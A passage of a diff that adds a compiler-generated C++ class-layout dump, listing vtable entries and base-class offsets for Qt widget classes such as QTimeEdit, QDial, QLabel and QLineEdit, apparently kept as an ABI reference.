+252 (int (*)(...))-0x000000008
+256 (int (*)(...))(& _ZTI9QTimeEdit)
+260 QTimeEdit::_ZThn8_N9QTimeEditD1Ev
+264 QTimeEdit::_ZThn8_N9QTimeEditD0Ev
+268 QWidget::_ZThn8_NK7QWidget7devTypeEv
+272 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+276 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTimeEdit
+ size=20 align=4
+ base size=20 base align=4
+QTimeEdit (0xb38d3e00) 0
+ vptr=((& QTimeEdit::_ZTV9QTimeEdit) + 8u)
+ QDateTimeEdit (0xb38d3e40) 0
+ primary-for QTimeEdit (0xb38d3e00)
+ QAbstractSpinBox (0xb38d3e80) 0
+ primary-for QDateTimeEdit (0xb38d3e40)
+ QWidget (0xb371f370) 0
+ primary-for QAbstractSpinBox (0xb38d3e80)
+ QObject (0xb38cae4c) 0
+ primary-for QWidget (0xb371f370)
+ QPaintDevice (0xb38cae88) 8
+ vptr=((& QTimeEdit::_ZTV9QTimeEdit) + 260u)
+
+Vtable for QDateEdit
+QDateEdit::_ZTV9QDateEdit: 70u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QDateEdit)
+8 QDateEdit::metaObject
+12 QDateEdit::qt_metacast
+16 QDateEdit::qt_metacall
+20 QDateEdit::~QDateEdit
+24 QDateEdit::~QDateEdit
+28 QDateTimeEdit::event
+32 QObject::eventFilter
+36 QAbstractSpinBox::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QDateTimeEdit::sizeHint
+68 QAbstractSpinBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QDateTimeEdit::mousePressEvent
+84 QAbstractSpinBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractSpinBox::mouseMoveEvent
+96 QDateTimeEdit::wheelEvent
+100 QDateTimeEdit::keyPressEvent
+104 QAbstractSpinBox::keyReleaseEvent
+108 QDateTimeEdit::focusInEvent
+112 QAbstractSpinBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QDateTimeEdit::paintEvent
+128 QWidget::moveEvent
+132 QAbstractSpinBox::resizeEvent
+136 QAbstractSpinBox::closeEvent
+140 QAbstractSpinBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QAbstractSpinBox::showEvent
+172 QAbstractSpinBox::hideEvent
+176 QWidget::x11Event
+180 QAbstractSpinBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QAbstractSpinBox::inputMethodQuery
+196 QDateTimeEdit::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDateTimeEdit::validate
+228 QDateTimeEdit::fixup
+232 QDateTimeEdit::stepBy
+236 QDateTimeEdit::clear
+240 QDateTimeEdit::stepEnabled
+244 QDateTimeEdit::dateTimeFromText
+248 QDateTimeEdit::textFromDateTime
+252 (int (*)(...))-0x000000008
+256 (int (*)(...))(& _ZTI9QDateEdit)
+260 QDateEdit::_ZThn8_N9QDateEditD1Ev
+264 QDateEdit::_ZThn8_N9QDateEditD0Ev
+268 QWidget::_ZThn8_NK7QWidget7devTypeEv
+272 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+276 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDateEdit
+ size=20 align=4
+ base size=20 base align=4
+QDateEdit (0xb37290c0) 0
+ vptr=((& QDateEdit::_ZTV9QDateEdit) + 8u)
+ QDateTimeEdit (0xb3729100) 0
+ primary-for QDateEdit (0xb37290c0)
+ QAbstractSpinBox (0xb3729140) 0
+ primary-for QDateTimeEdit (0xb3729100)
+ QWidget (0xb3724640) 0
+ primary-for QAbstractSpinBox (0xb3729140)
+ QObject (0xb38cafb4) 0
+ primary-for QWidget (0xb3724640)
+ QPaintDevice (0xb372c000) 8
+ vptr=((& QDateEdit::_ZTV9QDateEdit) + 260u)
+
+Vtable for QDial
+QDial::_ZTV5QDial: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI5QDial)
+8 QDial::metaObject
+12 QDial::qt_metacast
+16 QDial::qt_metacall
+20 QDial::~QDial
+24 QDial::~QDial
+28 QDial::event
+32 QObject::eventFilter
+36 QAbstractSlider::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QDial::sizeHint
+68 QDial::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QDial::mousePressEvent
+84 QDial::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QDial::mouseMoveEvent
+96 QAbstractSlider::wheelEvent
+100 QAbstractSlider::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QDial::paintEvent
+128 QWidget::moveEvent
+132 QDial::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractSlider::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDial::sliderChange
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI5QDial)
+236 QDial::_ZThn8_N5QDialD1Ev
+240 QDial::_ZThn8_N5QDialD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDial
+ size=20 align=4
+ base size=20 base align=4
+QDial (0xb37294c0) 0
+ vptr=((& QDial::_ZTV5QDial) + 8u)
+ QAbstractSlider (0xb3729500) 0
+ primary-for QDial (0xb37294c0)
+ QWidget (0xb375a050) 0
+ primary-for QAbstractSlider (0xb3729500)
+ QObject (0xb372c21c) 0
+ primary-for QWidget (0xb375a050)
+ QPaintDevice (0xb372c258) 8
+ vptr=((& QDial::_ZTV5QDial) + 236u)
+
+Vtable for QDialogButtonBox
+QDialogButtonBox::_ZTV16QDialogButtonBox: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QDialogButtonBox)
+8 QDialogButtonBox::metaObject
+12 QDialogButtonBox::qt_metacast
+16 QDialogButtonBox::qt_metacall
+20 QDialogButtonBox::~QDialogButtonBox
+24 QDialogButtonBox::~QDialogButtonBox
+28 QDialogButtonBox::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QDialogButtonBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI16QDialogButtonBox)
+232 QDialogButtonBox::_ZThn8_N16QDialogButtonBoxD1Ev
+236 QDialogButtonBox::_ZThn8_N16QDialogButtonBoxD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDialogButtonBox
+ size=20 align=4
+ base size=20 base align=4
+QDialogButtonBox (0xb37297c0) 0
+ vptr=((& QDialogButtonBox::_ZTV16QDialogButtonBox) + 8u)
+ QWidget (0xb3761820) 0
+ primary-for QDialogButtonBox (0xb37297c0)
+ QObject (0xb372c474) 0
+ primary-for QWidget (0xb3761820)
+ QPaintDevice (0xb372c4b0) 8
+ vptr=((& QDialogButtonBox::_ZTV16QDialogButtonBox) + 232u)
+
+Vtable for QDockWidget
+QDockWidget::_ZTV11QDockWidget: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QDockWidget)
+8 QDockWidget::metaObject
+12 QDockWidget::qt_metacast
+16 QDockWidget::qt_metacall
+20 QDockWidget::~QDockWidget
+24 QDockWidget::~QDockWidget
+28 QDockWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QDockWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QDockWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QDockWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI11QDockWidget)
+232 QDockWidget::_ZThn8_N11QDockWidgetD1Ev
+236 QDockWidget::_ZThn8_N11QDockWidgetD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDockWidget
+ size=20 align=4
+ base size=20 base align=4
+QDockWidget (0xb3729bc0) 0
+ vptr=((& QDockWidget::_ZTV11QDockWidget) + 8u)
+ QWidget (0xb37a0190) 0
+ primary-for QDockWidget (0xb3729bc0)
+ QObject (0xb372c7bc) 0
+ primary-for QWidget (0xb37a0190)
+ QPaintDevice (0xb372c7f8) 8
+ vptr=((& QDockWidget::_ZTV11QDockWidget) + 232u)
+
+Vtable for QFocusFrame
+QFocusFrame::_ZTV11QFocusFrame: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QFocusFrame)
+8 QFocusFrame::metaObject
+12 QFocusFrame::qt_metacast
+16 QFocusFrame::qt_metacall
+20 QFocusFrame::~QFocusFrame
+24 QFocusFrame::~QFocusFrame
+28 QFocusFrame::event
+32 QFocusFrame::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QFocusFrame::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI11QFocusFrame)
+232 QFocusFrame::_ZThn8_N11QFocusFrameD1Ev
+236 QFocusFrame::_ZThn8_N11QFocusFrameD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QFocusFrame
+ size=20 align=4
+ base size=20 base align=4
+QFocusFrame (0xb37d6080) 0
+ vptr=((& QFocusFrame::_ZTV11QFocusFrame) + 8u)
+ QWidget (0xb37c83c0) 0
+ primary-for QFocusFrame (0xb37d6080)
+ QObject (0xb372cbf4) 0
+ primary-for QWidget (0xb37c83c0)
+ QPaintDevice (0xb372cc30) 8
+ vptr=((& QFocusFrame::_ZTV11QFocusFrame) + 232u)
+
+Class QFontDatabase
+ size=4 align=4
+ base size=4 base align=4
+QFontDatabase (0xb372ce4c) 0
+
+Vtable for QFontComboBox
+QFontComboBox::_ZTV13QFontComboBox: 65u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QFontComboBox)
+8 QFontComboBox::metaObject
+12 QFontComboBox::qt_metacast
+16 QFontComboBox::qt_metacall
+20 QFontComboBox::~QFontComboBox
+24 QFontComboBox::~QFontComboBox
+28 QFontComboBox::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QFontComboBox::sizeHint
+68 QComboBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QComboBox::mousePressEvent
+84 QComboBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QComboBox::wheelEvent
+100 QComboBox::keyPressEvent
+104 QComboBox::keyReleaseEvent
+108 QComboBox::focusInEvent
+112 QComboBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QComboBox::paintEvent
+128 QWidget::moveEvent
+132 QComboBox::resizeEvent
+136 QWidget::closeEvent
+140 QComboBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QComboBox::showEvent
+172 QComboBox::hideEvent
+176 QWidget::x11Event
+180 QComboBox::changeEvent
+184 QWidget::metric
+188 QComboBox::inputMethodEvent
+192 QComboBox::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QComboBox::showPopup
+228 QComboBox::hidePopup
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI13QFontComboBox)
+240 QFontComboBox::_ZThn8_N13QFontComboBoxD1Ev
+244 QFontComboBox::_ZThn8_N13QFontComboBoxD0Ev
+248 QWidget::_ZThn8_NK7QWidget7devTypeEv
+252 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+256 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QFontComboBox
+ size=20 align=4
+ base size=20 base align=4
+QFontComboBox (0xb37d6380) 0
+ vptr=((& QFontComboBox::_ZTV13QFontComboBox) + 8u)
+ QComboBox (0xb37d63c0) 0
+ primary-for QFontComboBox (0xb37d6380)
+ QWidget (0xb37eacd0) 0
+ primary-for QComboBox (0xb37d63c0)
+ QObject (0xb372ce88) 0
+ primary-for QWidget (0xb37eacd0)
+ QPaintDevice (0xb372cec4) 8
+ vptr=((& QFontComboBox::_ZTV13QFontComboBox) + 240u)
+
+Vtable for QGroupBox
+QGroupBox::_ZTV9QGroupBox: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QGroupBox)
+8 QGroupBox::metaObject
+12 QGroupBox::qt_metacast
+16 QGroupBox::qt_metacall
+20 QGroupBox::~QGroupBox
+24 QGroupBox::~QGroupBox
+28 QGroupBox::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QGroupBox::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QGroupBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QGroupBox::mousePressEvent
+84 QGroupBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QGroupBox::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QGroupBox::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QGroupBox::paintEvent
+128 QWidget::moveEvent
+132 QGroupBox::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QGroupBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI9QGroupBox)
+232 QGroupBox::_ZThn8_N9QGroupBoxD1Ev
+236 QGroupBox::_ZThn8_N9QGroupBoxD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QGroupBox
+ size=20 align=4
+ base size=20 base align=4
+QGroupBox (0xb37d67c0) 0
+ vptr=((& QGroupBox::_ZTV9QGroupBox) + 8u)
+ QWidget (0xb3802e60) 0
+ primary-for QGroupBox (0xb37d67c0)
+ QObject (0xb37fc1e0) 0
+ primary-for QWidget (0xb3802e60)
+ QPaintDevice (0xb37fc21c) 8
+ vptr=((& QGroupBox::_ZTV9QGroupBox) + 232u)
+
+Vtable for QLabel
+QLabel::_ZTV6QLabel: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QLabel)
+8 QLabel::metaObject
+12 QLabel::qt_metacast
+16 QLabel::qt_metacall
+20 QLabel::~QLabel
+24 QLabel::~QLabel
+28 QLabel::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QLabel::sizeHint
+68 QLabel::minimumSizeHint
+72 QLabel::heightForWidth
+76 QWidget::paintEngine
+80 QLabel::mousePressEvent
+84 QLabel::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QLabel::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QLabel::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QLabel::focusInEvent
+112 QLabel::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QLabel::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QLabel::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QLabel::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QLabel::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI6QLabel)
+232 QLabel::_ZThn8_N6QLabelD1Ev
+236 QLabel::_ZThn8_N6QLabelD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QLabel
+ size=20 align=4
+ base size=20 base align=4
+QLabel (0xb37d6a80) 0
+ vptr=((& QLabel::_ZTV6QLabel) + 8u)
+ QFrame (0xb37d6ac0) 0
+ primary-for QLabel (0xb37d6a80)
+ QWidget (0xb36268c0) 0
+ primary-for QFrame (0xb37d6ac0)
+ QObject (0xb37fc438) 0
+ primary-for QWidget (0xb36268c0)
+ QPaintDevice (0xb37fc474) 8
+ vptr=((& QLabel::_ZTV6QLabel) + 232u)
+
+Vtable for QLCDNumber
+QLCDNumber::_ZTV10QLCDNumber: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QLCDNumber)
+8 QLCDNumber::metaObject
+12 QLCDNumber::qt_metacast
+16 QLCDNumber::qt_metacall
+20 QLCDNumber::~QLCDNumber
+24 QLCDNumber::~QLCDNumber
+28 QLCDNumber::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QLCDNumber::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QLCDNumber::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI10QLCDNumber)
+232 QLCDNumber::_ZThn8_N10QLCDNumberD1Ev
+236 QLCDNumber::_ZThn8_N10QLCDNumberD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QLCDNumber
+ size=20 align=4
+ base size=20 base align=4
+QLCDNumber (0xb37d6dc0) 0
+ vptr=((& QLCDNumber::_ZTV10QLCDNumber) + 8u)
+ QFrame (0xb37d6e00) 0
+ primary-for QLCDNumber (0xb37d6dc0)
+ QWidget (0xb363fbe0) 0
+ primary-for QFrame (0xb37d6e00)
+ QObject (0xb37fc690) 0
+ primary-for QWidget (0xb363fbe0)
+ QPaintDevice (0xb37fc6cc) 8
+ vptr=((& QLCDNumber::_ZTV10QLCDNumber) + 232u)
+
+Vtable for QLineEdit
+QLineEdit::_ZTV9QLineEdit: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QLineEdit)
+8 QLineEdit::metaObject
+12 QLineEdit::qt_metacast
+16 QLineEdit::qt_metacall
+20 QLineEdit::~QLineEdit
+24 QLineEdit::~QLineEdit
+28 QLineEdit::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QLineEdit::sizeHint
+68 QLineEdit::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QLineEdit::mousePressEvent
+84 QLineEdit::mouseReleaseEvent
+88 QLineEdit::mouseDoubleClickEvent
+92 QLineEdit::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QLineEdit::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QLineEdit::focusInEvent
+112 QLineEdit::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QLineEdit::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QLineEdit::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QLineEdit::dragEnterEvent
+156 QLineEdit::dragMoveEvent
+160 QLineEdit::dragLeaveEvent
+164 QLineEdit::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QLineEdit::changeEvent
+184 QWidget::metric
+188 QLineEdit::inputMethodEvent
+192 QLineEdit::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI9QLineEdit)
+232 QLineEdit::_ZThn8_N9QLineEditD1Ev
+236 QLineEdit::_ZThn8_N9QLineEditD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QLineEdit
+ size=20 align=4
+ base size=20 base align=4
+QLineEdit (0xb3659140) 0
+ vptr=((& QLineEdit::_ZTV9QLineEdit) + 8u)
+ QWidget (0xb3653a00) 0
+ primary-for QLineEdit (0xb3659140)
+ QObject (0xb37fca14) 0
+ primary-for QWidget (0xb3653a00)
+ QPaintDevice (0xb37fca50) 8
+ vptr=((& QLineEdit::_ZTV9QLineEdit) + 232u)
+
+Vtable for QMainWindow
+QMainWindow::_ZTV11QMainWindow: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QMainWindow)
+8 QMainWindow::metaObject
+12 QMainWindow::qt_metacast
+16 QMainWindow::qt_metacall
+20 QMainWindow::~QMainWindow
+24 QMainWindow::~QMainWindow
+28 QMainWindow::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
